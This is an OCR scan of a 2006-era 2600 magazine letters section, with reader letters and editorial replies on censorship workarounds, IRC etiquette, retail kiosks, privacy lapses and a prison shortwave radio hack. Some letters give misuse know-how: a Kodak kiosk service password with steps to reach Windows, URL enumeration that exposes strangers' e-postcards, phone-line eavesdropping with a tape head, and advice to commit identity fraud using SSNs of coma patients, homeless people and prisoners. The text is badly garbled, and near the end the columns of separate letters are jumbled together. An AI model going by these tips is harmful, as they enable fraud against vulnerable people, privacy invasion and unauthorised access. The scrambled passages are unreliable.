oth er indicator of t he media's misguided approach and
t he widespread ignor ance abou t us hackers. I know I
am probab ly the milliont h person to menti on this but
it's always good to have your name in print.

Monty G.
And while this is also an interestingstory, we sure

hope people aren't sending in stuff just to see their
namesin print. We reserve the right to mangle or oth­
erwise mock the name of anyone we suspect of doing
this.
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Dear 2600:
I live in China, land of rampant government rest ric­

tion of the web. Most of the good free proxy sites are
blocked as well as tons of other interesting sites th at I
came to know and love before life as an ex-pat. Eve n
more sad is t hat lots of Chinese people don't believe
that their government is blocking sites. But back to my
point . I was searching online using t he Chinese version
of Google when I noticed a "translate" link after t he
site. Sure enough, t his leads you to a Google internal
URLcont aining "hl- zh-Cfv" which displays t he blocked
site translat ed into Chinese! The "hl- zh-Cfv' means Peo­
ple's Republic of China Chinese. Sure enough, switching
it to "en" gives us t he site translated from English to
En glish. So all I have to do is search for a rest ricted
page and wit h a little URL manipulation I've got my
site, proxied by Google.

By t he way, I moved here in t he summer of 2004, so
t he first issue I read over here was Fall 2004. I swear
you guys knew I was coming. And how about saving t he
Spring 2005 issue for a t rip back only to get stuck in
NYCand end up reading it on th e subway? Creepy.

Matti ngton
We're always trying for that creepy angle.

Dear 2600:
I have a random piece of information t hat I figured

someone might find interesting. I was in Barnes and
Noble t he ot her day and noticed something odd about
their machines. The ones I'm speaking of are t he Dot
One machines where you scan a bar code and it allows
you t o sample a CD. My brot her was t rying to irrit ate me
by searching for Robin Williams. When he clicked on t he
album t hey had listed for him, t he system crashed com­
pletely. I went around and t ried t his on all t he scanners
and it worked each and every time. It doesn't do it with
any of t he ot her albums, just t hat one. The most inter­
esting part is it allows you to view what t he device is
running and other such information. It even has t he
option to access t he BIOS. And when it resets it goes
into a set up program. I never figured out how to do
anything else w ith it .

ch3rry
We always suspected Robin Williams was capable of

causing significant mayhem on all sorts of plat forms.

Dear 2600:
In response t o Black_Angel's question in 22:3,

maybe the question isn't who the man on t he cover is
but what does he represent? Maybe what is important is
t he symbolism of a single man who is t rying to look in­
conspicuous and is traveling t he world with a briefcase
w ith a biohazard symbol on it. Now that symbol could
just be a reference to t he band Biohazard but I'm pretty
sure t hat's not it. So back to the topic at hand. What
does t he guy sta nd for, what does he represent? Is he
supposed to be t his so-called "terrorist" that our gov­
ernment (America's t o be exact) has led us to believe is
out th ere and is going to get us on an unknown date at
an unknown location? Is he just a man t rying to get t he
word out or t rying to get noticed? Or have t he last few
covers been a representati on of how our mainstream
media misleads us into looki ng at "t he wrong hand in a

magic trick" or just t he lat est mainstream media attack
on hackers and all th at t hey are afraid of? Also, on th e
cover of 22:3 t here is a shadow above th e low hover
platform of what I'm guessing is a cruise ship, yacht, or
some sort of luxury vessel. judging by the lounge chairs
and tennis/ basketball courts in t he background. I have
come t o t he conclusion t hat t his shadowis t hat of t he
famous McDona ld's fast food sign. So what does t his
mean? Has McDonald's taken over? Is McD onald's fund­
ing t hese alleged ter rorists? Is Fast Food in general tak­
ing over or is it up to no good? I guess t hese are t he
t ruly important questions t hat we should be asking. I
just checked t he 26 00 website after writing all of t his
and looking at t he new cover of 22:4 (I don't have
enough cash to buy it yet), I t hink my previous state­
ment is true and to expand on it maybe the McDonald's
sign represents "Big Business" and corporations and
t he "terrorist" is t he government and t he device being
armed on t he plane is their weapon against the under­
ground and th e hacker community. But who knows? I'm
just a 16 year old high school student .

WiseCracker

Dear 2600:
I realize t hat no one is perfect. When you have a

large group of people t here is a lot of imperfection.
When you run a business, however, t he glaring imper­
fections should not include pricing t hings st upidly. For
inst ance, t he local Pizza Hut prices thi ngs goofy. One
order of cheese sticks (which includes five sticks and
one marinara sauce) comes to $3.68 around here. An
individual order of cheese sticks (which includes t hree
sticks and one marinara sauce) comes t o $1.60. That's
less t han half. Two individual orders comes to roughly
$3.38 . A little math and you'll conclude t hat you can
save $.30 if you get two individual orders instead of one
single order. Not only t hat but you t hen get an extra
stick and an extra sauce. Extra sauces cost $.35. You're
definitely saving money. This goes to show how much
money you can save by asking stupid questions like
"what if I want two individual orders instead of one sin­
gle order?" It also shows how easy it is to make a st upid
math mist ake and, when it becomes public, potentially
lose money. Hacking isn't always about technology.

Zachary
Of course it's also possible that their cheese sticks

suck and getting people talking about them like this is
all part of the master plan to have lines out the door for
the individual orders which nobody would have wanted
in the first place.

Dear 2600:
I ama 16 year old male, currently incarcerated in an

all malejuvenile treatment facility. As you can imagine,
being here is quite boring and I still have four to six
months ahead of me. Most of t he people here are t he
"cool" kids. You know, the ones t hat listen to rap music
and smoke weed. The ones t hat t hink we're "losers" be­
cause we sit in front of our monitors whenever possible.
Well, turns out quite a few of t hem respect me. I was
quite surprised to see that a few people picked up my
issue (22:1) and read it. When I got 22:2, people were
fighting over who got to read it first after me. Pretty
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crazy, right? A few people actually ap proached me and
asked if I'd teach t hem about computers and stu ff. $0 I
sta rted with basic hardware. basic TCPj lP stuff, etc. The
thing about it is I'm just so shocked t hat the people
we'd expect to not accept us actually do. Hopefully this
t rend keeps up and we start becoming more generally
accepted. Ju st thought it would be nice to share my ex­
periences.

Undefin ed32
It's not reallya trend, just that part of humanity

that allowsus to accept people forwhothey areand for
what we can learn from them. It probably wasn't the
lesson you were sent there to learn but it'sa good thing
nonetheless.

Critique
Dear 2600:

It would seem many of your recent arti cle aut hors
have been reinventing t he proverbial wheel. Both
Eprom J ones' article in 22:3 entitl ed "A Ra ndomizing
WiFi MACAddress APHopper" as well as Daniel's articl e
"The Ancient Art of Tunneling, Rediscovered" describe
the creation of tools that have existed in one form or
anoth er for years.

Daniel states in his article that "after a search of
the net for a tool to do the job turned up nothin g, I de­
cided to write myown.· I have to wonder which "net- he
hap pened to be searching because performing a sea rch
on any of th e Internet 's major search engines (Google,
Yahoo. etc.) for the basic subject keywords of his arti ­
cle, namely "ICM P tunneling," tu rns up a number of vi­
abLe tools, most notably ICMPTunnel and PINGTunnel.
Also. almost a decade ago back in 1996, Phrack #49
was released including an article by demon9 entit led
"Project LOKI: ICMP Tunneling."

In regards to Eprom J ones' MAC address changer,
t he GNU macchanger has been available with a wide
range of featu res since May 2004 .

I don't want to discredit th e merit of th e subjects of
t hese arti cles, as both mas king your hardware address
and tunneling your t raffic thro ugh allowed proto cols to
th wart tra ffic contro ls are both tried and tr ue tools for
th e 01' technique toolbox. However, both authors seem
to have gone through much more trouble tha n was re­
quired to accomplish their goals. I hope by respondi ng
here I have at least provided readers who are unfamil-iar
with these tec hniques a faster , or at least more versa­
ti le path , to success since most of the existin g tools t o
do th ese jobs are already fairly matu re and feature-rich.

Finally, a note in regards to Eprom Jon es' article.
Eprom failed to mention that th e ability to change the
MACaddress for an interface generally de pends on th e
driver used. Most li nux interface drivers I have come
across will allowyou t o do this, however there are some
t hat will not (most notably for some WiFi cards) . Read­
ers attempting to use t his technique should verify th at
the inte rface driver they are using provides t his func­
tion ality.

I)ruid
It's important to note that while such information

may indeed have been available in other fo rums, it's
not always a bad thing to print a fresh explanation or

bow-to. We always have fresh new readers joining us
and sometimes that means printing things that older
readers already knowand understsnd. That said. it's im­
portant fo r our writers to make sure they'renot simply
rehashingsomething old with no new content or per­
spective.

Dear 2600:
In the letters section of 22:3 the editor respond ed

to a reader's message, saying "rhe Jascha n senten ce...
won't make the net any less secure. Companies releas­
ing products with all kinds of holes and an uneducat ed
consumer base will be t he ones responsible for t hat ."
That is like saying th e criminal with a gun roaming t he
neighborhood randomly shooting people is not respon­
sible for th e carnag e. The people are responsibl e for
leaving t heir houses without body armor; nature is re­
sponsible for not making people bulletp roof.

I applaud 2600 and t his community for their pursuit
of knowledge. But advocating or excusing the use of
t hat knowledge to cause destruction is more t han irre­
sponsible. It is despicable.

SHR
We standby ourconviction that prison (and in this

case the suggestion of the death penalty) won'tsolve
the problem. There's a very big difference between ad­
vocating destructive behavior and encouraging precau­
tions so that users will have some kind of defense
if/when someone does something stupid. We see far
too little of the latter.

Responses
Dea r 2600:

This letter is in response to Matt Dreyer from Son­
icWALLin t he 22:4 lett ers section (page 34):

Well first off Mr. Dreyer, not once did I ever say any­
thi ng about cracking th e hash for t he password. I inter­
cepte d it in t ransit to th e server so it wouldn't matt er if
I had t he hash or not . The same t hing could have been
accomplished with a key Logger or someth ing like t hat.
I thi nk you to ta lly missed t he point of the articl e.

I see two major flaws with your Viewpoint system.
First. the administra tor account must remain Admin, so
if I were to inst all a key logger then all I wouLd have to
do is wait for the administrator to type Admin, th en
whatever, and I would have a possible password for th e
Viewpoint server. Second, and most importantly, and
also the whole point of t he article , is that from th ere I
can log onto the SonicWALLsystem without any furth er
aut hentication! This is the flaw, not the hash, not any­
thing else. Only this. This is what I wanted to te Ll peo­
ple. Yourhash is secure. but the fact that I can bypass
alLof this and get to th e SonicWALLwith very little ef­
fort is extremely insecure. I would try reading a little
closer before you pass j udgment and try to make me out
like a fake just because you can't admit that you guys
have one little bug.

I am in no way wantin g your stuff to get compro­
mised for illegal purposes, but I felt this was a good
way for you to notice th is. I replied to your email with
no response from you. Therefore I would ass ume t hat
you didn't care what I had to say, only t hat people
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more general #2600 channel. It would be great if all 0

the geographic "2600" channels were filled with the
kind of people you describe. For those interested, in or­
der for new folks to find you, we ask that you foliow the
standard format for a channel name of #xx2600 where
xx is the two letter state abbreviation inside the United
States and #2600yy where yy is the two letter country
abbreviation outside the States. Of course, for all of
this to work, it's vital that you use our IRe server at
irc.2600.net.

Dear 2600:
This letter is in response to an "article" written by

The Piano Guy in 22:4. Bei ng a fellow network admin, I
can definite ly relate to what you are saying about rules
being necessary in a corporate or business environ­
ment . However, what I cannot relate to is why you
chose to write this bitch session and send it to 2600.
Wh at surprised me even more is the fact t hat t he 2600
tea m decided this article was fit for publication. Per­
sonally, I don't know of any "hackers" who think rules
are harsh and unnecessary, but merely look for ways
those rules can be compromised in order to bette r se­
cure a network environment. If you too k half as much
time doing t his instead of whining about your job
(which you get paid to do and are doing by choice),
maybe you wouldn't have to worryabout "hackers" tak­
ing advantage of your environmenta l shortcomings.
Lest we forget the same people who are constantly
pushing your boundaries are the same people who give
youjob security. Shut up and do yourjob, and quit writ­
ing point less articles about t hings we all know and
loat he. The page space could have been used to teach
and not to scold. You should destroy t he computer you
typed t he article on and any reader who ownsa copy of
that mag should have enough sense to rip t hose pages
out and burn t hem. Thanks for the "information."

aztek
We know many peop le who think the rules are

"harsh and unnecessary" and this article served as a
window into this subject from a different perspective.
By the way, "shut up and do your job" would make a
good subtitle for the masthead of a magazine that's the
complete opposite of2600.

Dear 2600:
In answer to Sab's Lett er in 22:4, t he st range files

he is seeing are t he result of a worm which spread back
in 2001! Some people just aren't very smart when it
comesto desktop security.

Actually,there are a few different worms. The origi­
nal code appeared in one version of t he famous Me lissa
and was copied into other worms. It is continually be­
ing modified and upgraded.

The one t hing t hat th ey all have in common is that
t hey have a built-in, very primitive server for either
Gnutella or FastTrack (Li meWire and Kazaa!). Alt hough
it otherwise acts as a proper node in the network, t his
server responds to every single search query t hat goes
t hrough it, trying to trick users into downloading t he
worm. Some of t he newer ones also mimic popular file­
names. The most advanced versions even have filesize
padding so t hat t he file looks more legitimate. Suppes-

thought I was a liar and that your system was t he most
secure thing on the planet . Obviouslyyouare mistaken.

Best Rega rds,
KnlghtlOrd

Dear 2600:
In response to Chad in 22:4, I would like to say t he

following:
By connecting to t he 2600 IRC network, you agree

to t he rules of t he network as you do on any IRC net­
work. You are also greeted with t he MOlD, (message of
the day) which d early stat es t hat "This server, its st aff,
and t he people hosting it are not revponvihlr- for t he
content t hat passes through t his server." That basically
means if someone's being an assh ole to you, it 's not
2600's problem. You said you joined #2600 "expecting
knowledge abounding." Just so you know, with t he ex­
ception of some support networks (such as Freenode),
IRCis basically a party line where people can BS and
talk about whatever t hey want. I frequent a video game
IRCchannel a lot and very rarely is t here discussion of
video games.

You know, it is quite possible that the person who
greeted you with t he "shut t he f*** up or go away"
message was either having a bad day or being sarcastic
at the moment. Also, remember, when people are on
t he Internet, t here wi ll be assholes. Simple as t hat.
People ta king advantage of having a host mask and be­
ing a dick to someone because t heir info is hidden. To
quote a fellow member of a forum I frequent, "This is
the Internet. Ano nymity brings fort h assholes." So here
is what I have to say: Either suck it upand deal with t he
flames since everyone starts somewhere or just stay
awayfrom IRe. And with the way you responded to your
experience, I'd say stick with t he second option.

Phuzion
For the most part we agree although assholes

shouldn't be toleratedjust because it's easy for them to
exist. You can improve the environment with a little de­
rermination. But part of that is going to involve not
taking the whole thing too seriously.

Dear 2600:
This is concerning Chad's lett er in 22:4. You ad­

dressed t he idea t hat not only are you not there to
baby-sit whomever is on t he IRC channel but that in all
likelihood t he person who was doing t he slagging was
...'ell belowt he norm. You did, however, fail to mention
that t hose of us who populate t his IRe channel are far
fromanything that Chad described. Indeed, those of us
'romthe An n Arbor contingent are generallygenial and
friendly. Please tell Chad t hat following links from your
own website to t he Michigan 2600 information page
'Hi ll give current info, directions, contact info, and up­
to-date details. This lett er from Ch ad will give t hose
""h o have never had contact with us a smudged version
of mi2600. We are happy, cheerful people who promise
:,J give you backyour underwear when we are done with
~,

Simon Jester
The only comment he made about "2600" people in

"fichigan and, by extension, the # mi2600 channel was
~ nobody was there. His critique was aimed at the
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edly there are also some polymorphic ones out there.
As of late January 2006. there have also been un­

confirmed reports of what appears to be a similar worm
attacking the MUTE fiLesharing network. As a MUTE user
I have yet to see one of these.

This is (probably) not an attack by ....AA. And most
of those "in on it" probably aren't.

Alexei Udal

Dear 2600:
The letter in 22:4 from Ben, a high school student

in the Atlanta area. stated t hat he was surfing from the
school's computer lab and was prevented from access­
ing 2600.com because it was blocked as "Criminal
Skil~. ·

I work for a company t hat makes a web filtering
product for schools and businesses. I had personally
categorized 2600.com as "Com puter/Int ernet" several
years ago. When I saw that lett er, I t hought, "Oh. I
hope t hat's not our product." I checked today and one
of the other technicians had changed the category to
"Hacking." That maps back in older versions of t he
product to "Criminal Skills." I changed it back to "Corn­
puter/ Intemet," but there's no telling how long t hat
willLa st.

So in this case, it's not the school t hat is at fault. It
was our product and I'm sorry about that. Of course,
Ben's school could be using one of the other filtering
products so this might not help him. But I'm glad he
gave me a reason to checkand fix it in ours.

Toots
We're fortunate to have people like you in these

companies who can do something about such injus­
tices. Let's hope it makes a difference.

Dear 2600:
Theguy From BCin 22:2 who works for Telus could

keep t he GPS from getting satellite signal bysimplyglu­
ing aluminum foil over the hockey puck. A pic pan
seems to be overkiU. Cut t he foit carefully and paint it
the same color as the disc. If the puck is black, some
paints that are dark in color have metal pigmentation
or carbon that wouldknockdown the GPSsignal quite a
bit. You could use a conductive ink pen that's sold at
Radio Shack. When it dries. paint over that with t he
same color paint or marker as the puck.

It came to my att ention that there are a few out
there in a similar situation as myself who are wanting
to hear Off The Hookvia WBCQon the shortwave band.
Actually, there is a lot more to liste n to on shortwave.
The news fromalternative media outlets is much bett er
than the biased crap on TV. Also, there are some good
technological shows, although not as good as OTH
(yeah. I'msucking up) but it'll help those of you on the
inside keep up with technology. Also, alternative talk
shows. I highly recommend the Alex Jones Show on
WWCA, 5050 Khz Monday through Friday10 pmto 1 am.
People in t he free society should listen as well, wake
up. and smell the coffee.

To pull off this hack, you need an analog AM/ FM
Wa lkman or other radio. You must make sure t he AM ra­
dio works properly. To check t his, make sure you can
pick up various AM stations acrossvarious points of t he
dial later in the evenings. If you can't pick up lots of

stations, your 't oopstick" antenna is damaged or t he
radio is not fullyup to the designed specs. It couldalso
be that you're in an underground or very well shielded
cell. Adungeon. Notgood. This hack willnot work well
with digital radios. as t he oscillator that runs the clock
and LCD displaycreates noise that keeps you from hear­
ing anything.

There are many different radios so I can't tell you
exactly how to take it apart. I can only tell you to take
out the screws holding t he cover together and gently
pry it apart . Onceyou have it open. look for the loop­
stickantenna bar. It is a black rectangular bar withvery
fine wire tightly wound on it. This loopstick has two
cords wound on it, one for t he radio oscillator circuit
and the ot her for the A~' (only) antenna.

Looking at the locpstick. there should be four very
fine wires t hat go to the circuit board. One of these
wires you'll want to solder or somehow connect a four
foot wire to use as an external antenna to pick up
shortwave. Theeasiest way is to power up t he radio and
touch your wi re to each of the four wires and tune
around the AMdial. On the right wire,you'll hear morse
code transmissions, people talking in foreign lan­
guages, and many more statio ns t han without. The
other three ...vires may have the same effect, but not as
good as t he one magical wire.which should be the non­
grounded side of the loopstick antenna coil.

Soldering is the best way to connect the wire, but
being in prison we usually don't have a soldering iron
handy unless we have access to one in an indust ries
shop or maintenance shop. I have used tinyspringsand
twisted my antenna wire with good results, but you
have to make sure to put them around other circuit
t races to make sure the spring doesn't short anything
out and screwup your radio. Soldering is a fine art . If
you applytoo much heat or blcp too muchsolder, you'll
screw your radio up. In t he past I have used Zippo
lighters and candles to heat up a brazing rod to solder
with.

If you were successful wit h the radio hack, in t he
late afternoon through nightfall you should be able to
pick up t he shortwave radio frequencies between 3500­
7500 Khz (3.5-7.5 mhz). Below 6000 Khz, I found that
groundingt he antenna to the locker, bars, or bunk pro­
vides the best reception. Above 6000 Khz I find the
wire in the windowor against (but not grounded to) the
locker works best. To pick up WBCO to hear Off the
Hook. you'll find it around 1000-1200 Khz somewhere
on the AM dial. Ofcourse, you have to have your radio
on AM to hear shortwave.

There are better ways to pick up shortwave on an
AM/ FMradio, but it would take some serious redesign­
ing of the radio and part changes. which some of us
don't have t he luxury to perform. This is the "poor
man's shortwave radio." It's quick. dirty, and works
quite well Fo r you hams, I hear you on SSBon 80 me­
ters (3700-3400) and routinely listen to you AM guys
up on 3885.

This hack works by shear overloading of the tuned
circuits. Normally the AM section bydesign and t he "0"
of the loopstick keeps anything out of t he AM broadcast
band from being received. The external antenna more
or less overloads the "front end," t he tuned AMcircuits,
and lets the other frequencies be heard.
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If there are any hams in the free worldwho have a
signal connector and a sacrificial AM/FM walkrnan, I'd
like to correspond with you. I have an experiment I'd
like you to try to gauge the performance of this mod,
nowlogarithmic the tuning range is. and howmanyim­
ages are present. I count manyimages of the same sta­
tions t hroughout the dial. at least four. I am very
experienced in SWl(shortwave listening) - 33 years to
date (I'm 38) - and have been a ham for 24 years. The
performance ain't equal to my R-390A Cotlings or leom
equipment, but I can hear QRP stations and OX that the
big boys are hearing. Please write!

Redbird's article on mag strip reading in 22:1
brought back some fond memories of other uses for
magnetic heads. In my younger years I used to trace
phone wiring with such connected to high gain amps
like Radio Shack used to sell. You can listen to phone
conversations on a line just by placing the magnetic
pickup next to t he phone wires. There is no physical
connection to the wires. The tape head picks up t he
magnetic field around the wire generated by voice go­
ing across the wire which is low frequency AC. The mic
input on a sound card should have enough gain (ampli­
fication] to do the same thing. The fidelity ain't that
great. but it's a terrific field expedient way to trace
wires if you left your toner and foxhound at home and
you got your mag reader with you.

I would like to thank whoever ordered me a sub­
scription to Tele-satellite International magazine back
in '03. The sub died lonq ago but it was very much en­
joyed. Anyone who wishes to order magazines, espe­
~a lly the free trade magazines, can send them to my
address listed below. Please try to look out for those
",'ho are on the inside. Ouronly access to technology is
"Jy what we read through the mail. Letters are very
much appreciated as well. Friends and family forget
about you over time and anything from the outside
oriqhtens the "Ground Hog Day" routine. Hell, fill out
' otll me Later" cards! I'll read anything.

Those of you who have written to me and did not
get a response. my mail to you bounced back. I do not
- ave a reliable mail relayand your end is bouncing mail
cack. There is nothing I can do.

Greetz to those on t he inside looking out, these I
<n owwell. and to those I met at the various cons. Hey,
fr t from Canada,write!

Stormbringer
W.K Smith 44684-083

Fa Cumberland, Unit A-1
PO Box 1000

Cumberland , MD 21501-1000

Security
Dear2600:

I did a lot of island hopping while on a recent trip
:0 Hawaii. I was pulled aside for spec ial inspection at
~ery single inter-island flight. Bythe fourth time, I fi­
-e llygot them to tell me (unofficially.of course) that I
-: the profile of someone they had to scan by taw. I was
a single malet raveler, buying a one wayticket, carrying
_ 3gage. It also didn't help t hat I don't choose to re­
- ave my shoes because of myfoot braces inside (they
.se d to be leg braces). They assured me, however. that

t his wasn't the reason I was pulled aside.
When I wore leg braces, t hey would swab t hem with

a pad and put the pad in a machine for analysis. I pre­
sume they were "sniffing- for explosives. As may be ob­
vious from the fact t hat I'm writing this to you, I never
flunked the test. Then again, I'm not a terrorist. During
this Hawaii trip, myshoes were swabbed every time.

During the first inspection (way too early in the
morning) the guy inspecting me told me, ~I have to pat
you down now,sir: Being too glib, tired, and generally
a smart ass, I said. "Honey, youcan touch whatever you
want: The inspector went pale, lightly patted mychest,
lightlypatte d myright arm, and said, "You're d ean, you
can go:

Atevery subsequent inspection I had a story to tell
which got chuckles from every other inspector. Every­
one else t reated me nicely, but was much more t hor­
ough than the first guy. Having said that, however, no
one got close enough to my crotch to feel explosives
t here. NowI don't want anyone, male or female, feeling
me up even if it is for homeland security. However,
maybe they should have handed me a swab and asked
me to wipe the front of mypants. That would have made
it easier to find someone who had a bad intent.

The Piano Guy

Dear 2600:
I just received a letter from H&R Block that says the

following:
"Recently we mailed you a free copyof our TaxCut

Software. We believe that this comolimentsrysoftware
will meetyour2006 tax preparationneedsbasedon our
prior experience with you as an H& R Block client. We
hope that you will try TaxCut and find it to be a great
solution for filing your next tax return.

"However, since we sent you this CD, we have be­
comeaware of a mail production situationthat has af­
fected a small percentage of recipients. including you.
Due to human error in developing the mailing list, the
digits ofyoursocial security number (SSN) were usedas
part of your mailing label's source code, a st ring of
more than 40 numbers and characters. Fortunately,
these digits were embedded in the middleof the string,
and they were not formatted in any manner that would
identify themas an SSN.

~Nevertheless, we sincerely apologize for this inad­
vertent error, whichis completely inconsistent with our
strict policies to proted our clients' privacy. Out inter­
nal policies limit the use of client SSNs for purposes
other than t4x preparation. Furthermore, our internal
procedures require that mailing source codes are for­
mulatedina mannerthat excludes use of anysensitive
or confidential information. Please knowthat we have
conducted a thorough internal review of this matter,
and are takingactions to ensure that this does not re­
occur. ~

So, not only are t hey sending mejunk matl... t hey
are sending me junk mail that exposes sensitive per­
sonal information.

drtecter
This is probably a lot more common than even the

mostparanoidamong us fear. Wh ile these guys at least
ownedup to theirhuge mistake, one has to wonder why
they would use that number in any way outside of hev-
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ing to report it to the tax people. It makes about as
much sense as stickingyourtotal income intoa mailing
tsoet code. Such information has no business being
used for other purposes. And yet it is - everywhere we
look. We invite our readers to let us know whenever
they see an 5SN someplace where it shouldn't be.

Dear 2600:
I just heard from a buddy t hat his 14 year old

daughter was able to connect to the Neptune. New Jer­
sey police department's unencrypted WiFi. WTF! Home­
land Insecurity. Anybody need a ticket reversed?

deadman
Hollan d, NJ

Dear 2600:
I was expecting a packagefrom FedEx but I had no

tracking number nor did I know when it was supposed
to arrive. I called t heir custo mer service 800 number
and amazingly wit hout knowing anything other than
the address and person it was addressed to, they told
me everything. I wasn't even asked to identify myself.
More interesting is I know the package was addressed
to my wife yet they didn't think it odd some unidenti­
fied man was asking for information about it . Th ey
asked meif I knewthe sender, and even th ough I didn't
know the exact name t hey still t old me when it would
arrive even up to the approximate time. Thewoman on
the phone also told me the package did not require a
signature. You can call themand probably find informa­
tion about any package your neighbor may be expect­
ing! I don't know if UPS or OHl is as insecure but FedEx
seemed to hand out package information likeTicIacs.

comfreak
This is definitely easier than it should have been.

But it'salsosolid proof that ifyou talk to a represents­
tive sounding halfway confident, more times than not
you'll get information out of them. Wha t mayhave hap­
pened in this case was that your phone number
matched what they had on file foryour address which
satisfied their security check. Of course that sort of
thing is relativelyeasy to spoof.

Dear 2600:
Albion College in Albion, Michigan offers an elec­

tronic postcard servicefor students, family, and friends
of the school at http :/ /www.albion.edu/postcardsj.
Once t he postcard is completed. it can be viewedonline
at a Later dat e t hrough the same website if you know
your eight digit code in this format: http://www.a l~

bion.edu/postcards/ view.asp?card=12345678. But t he
eight digit code is really only based on the middle four
digits. The first two and t he last two can be ignored.
For example, http:/ /www.albion.edu/ postcards/view
.....asp?card=99112299 will return t he same ecard as:
htt p:/ / www.albion.edul posteards/vtew.asp?card=OOll
....2200.

Another interesting feature: the old postcards don't
expire. Any previously sent postcard can be retrieved
and read simply by incrementing or decrementing t he
four middle digits. Every postcard shows the original
message, the sender's email address, and name.

If you happened to be bored on a Saturday night
and have nothing else to read....

scott
We're having a fat of fun with this and can't stop

reading these. Ifyourissue is late, this is probably why.

Further I nfo

Dear 2600:
In regards to the articles in 22:4 by Thorn and

Cratv, Ta rget. Wal-M art, and CVS aUuse the same Ko­
dak machines, albeit wit h different programming to
suit t he specific brand they're trying to sell. Th ey're all
running on Win dows XP, allowtnq for some int eresting
mischief if you were to ever get to Windows from inside
the interface. Of course. it 'd be pointless to mention
that if there wasn't an easy way in. no? There are a
number of ways to do so. but I'll only outline the one I
remember off the top of my head.

First, either obtain the setup password or use the
exploit that Thorn mentions in his article about t he
password being unnecessary for t he first five minutes
of t he system's operation. As he said, they're advised
not to use the store number, but most often that's t he
case as it's easy for employees to remember. In t he
setup menu, there's an option for diagnostics. From
t here, go into service diagnostics. It will ask for a ser­
vice password. If you're working in the lab, it's easy to
social engineer a service password from the KPM call
centers (which, I might add. are all outsourced to India
it would seem), but considering how easy it is and that
it's the same for every KPM (at least what I've found).
I'll include it here: 741963. Straight up the left side,
straight up the right side. In the service diagnostics
section t here is a button that goes right to the Windows
Control Panel. From the re. it 's easy to get into the vari­
ous hard drives and peripherals installed on the system
as wellas view system information and so forth .

Every KPMshould have as a default five (possibly
six) memory card drives, a CD drive, a floppy drive, a
USB port (that seems to be solely for flash drives since
regular US Bconnections at t hat port yield no results),
and an infrared port. Some have magnetic card readers.
although I haven't seen them implemented in any of
the stores I've been to. Some of the more up-to-date
ones have Bluetooth connectivity for camera phones al­
though, again, not every store implements the tech.
(Of course, if you can get into t he system setup, you
can make the KPM accept/do whatever you want it to.
so it doesn't much matt er. On sta rtup. the device man­
ager will show every piece of equipment connected to
that machine and all of them are accessible from the
setup menu.)

As for t he t hree hard drive situation that Thorn de~

scribed, they're primarily used for picture storage.
Every picture t hat goes t hrough t he KPM is saved on all
th ree of those drives. They're easy enough to find once
you can get to the Windowsinterface. It's saved first on
the Edrive, the n cloned to t he other two.

As far as I can tell. the machines are not connected
to the Internet. although I've only experimented with
this at Ta rget. It may not be the case elsewhere. From
what I can tell at Target. t hey areconnected to a back
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DrBensina

Dear 2600:
With Goog le and other search engines recently be­

ing in the news over privacy concerns, I t hink people
who are concerned about t heir privacy when searching
should take a look at http:/ / www.scroogle.org/ . This
servi ce is free and scrapes all t he adverts from your
Google search. More importantly it is not possible for
Google to identifyyou. Th ere is also a linkon the site to
Clusty which does provide ads but does not track you.
They claimit provides better results t han Google too!

Beowulf

end machine (one t hat will burn Kodak CDs, for exam­
ple) t hat is connected to t he Internet (thanks to Tar­
get's partnership with Yahoo). Whether you can access
IE from the kiosks is sti ll to be determined.

TheKodak Pi cture CDs already have information en­
coded on t hem before t hey're used by the KPMs. If you
manage to get your hands on a blank Kodak Picture CD,
it has t he editing software suite it uses, along with all
of t he graphics t hat are necessary for t hat program to
work. That would be why t he KPM knew he was using
blank discs. Of course, if you couLd write a CD-RWwit h
the Kodak Pi cture CD information....

I don't have access to any of the CDs , but t he soft­
ware Tho rn had access to is horribly outdat ed. The
newest KPMrevision I've seen is up to V5.2 or so. Every­
t hing other t han t he core programis added on by a CD,
including patches and updates. As you can imagine, t he
stackof CDs would get quite large.

I wouLd like to note t hat, other t han t he login at
startup (which is done automatically) and t he protec­
tion inside the KPM software (which is mediocre at
best ), there are no real security measures on t his sys­
tem. Once you're inside t he hard drive, everything is at
your mercy. It would be fairly easy for anyone to cripple
these machines if t hey so desired.

about since I started reading it a year ago.
I read the article "Backdoor Exits from t he U.S. Mil­

ita ry" in 22:1. It was an interesting article. However,
there are some t hings t hat folks should be aware of.
First, getting out during basic training is difficult and
t raining instructors will giveyou "hell" the entire time
to attempt to st raighten you out to make you a perfect
soldier, airman, or sailor. Second, and most impor­
tantly, if you are given a "bonus" to sign up to come
into the milita ry you wi ll not see t hat money until you
arriveat your first duty locationafte r training. 50 don't
t hink t hat you'll see any moneyprior to finishing basic
training. If youdo receive some moneyup front youwill
be required to repay it since you didn't upholdyour end
of the contract and complete t he first four or six years.

Be sure that you really want to join the military.
Also, do t he researchto haveyour recruiter get you into
a good careerfield (i.e., communications/networks, in­
formation managers/ taking care of computers, etc.) .
The ASVAB test scores will limit you getting into some
career fields if t he scores aren't what they should be.
Just because something sounds great, like para-rescue,
it might not be what you truly want or something you
can do after you leave milita ryservice. Most people join
for the educational benefits, but most of t he time you
wilLnot be able to ta ke college courses unti l you com­
plete your upgrade training in your chosen career field
which can take up to two years.

Wh en you are released from t he milita ry you wi ll be
given a Depa rtment of Defense Form 214. Most employ­
ers will ask for this when you applyfor a job with t hem,
especially if you let t hem knowyouwere in the military.
Some employers may question what happened and why
you left the military prior to finishing yourfir st term of
service. Theformwill say t hat you didn't complete your
first full termof serviceand your character of service is

Dear 2600: left blank. It could also affect what types of jobs you
Just finished 22:3. The article "Forging an Identity" are able to get. Of course, if you plan on going into

bySistemRoot has one small flaw. S5Ns of t he dead are business for yourselfit really won't matter.
flagged, so t ryi ng to use t hem at t he DMV, bank, or My advice is to make sure you can handle someone

Ianyplace t hat does a credit check will cause you to have being in your face 24 hours a day whileyou are in basic
an unwanted encounter wit h t he cops. Better to use liv- training and technical training. This of course is only
ing persons who have no need for SSNs . Co ma patients, for training and not when you arrive at your first as-
the homeless, insane asylum residents, and prisoners
ccinq 20 to life are good choices. Just remem ber to do signment, which can be fairly laid back in some in-
a background check to make sure t hey're still living stances. Also, be aware that there are poor, as well as
every once in a while. On a side note, t he book How to great, supervisors and managers in t he military just as
be Invisible by JJ Luna is a good place to start for any- the re are everywhere. As a supervisortold meone time,
cne looking to live t he anonymous lifestyle. As always, "We have bullshit just like everywhere else. Ours is just
thanks for a great mag t hat seems to be t he last place regulated." As with anything it wi ll be what you make of
-orfree t hought. it. Remember, it 's still a volunteer force and not a

Angry (not mad) Max mandatory requirement ... yet.
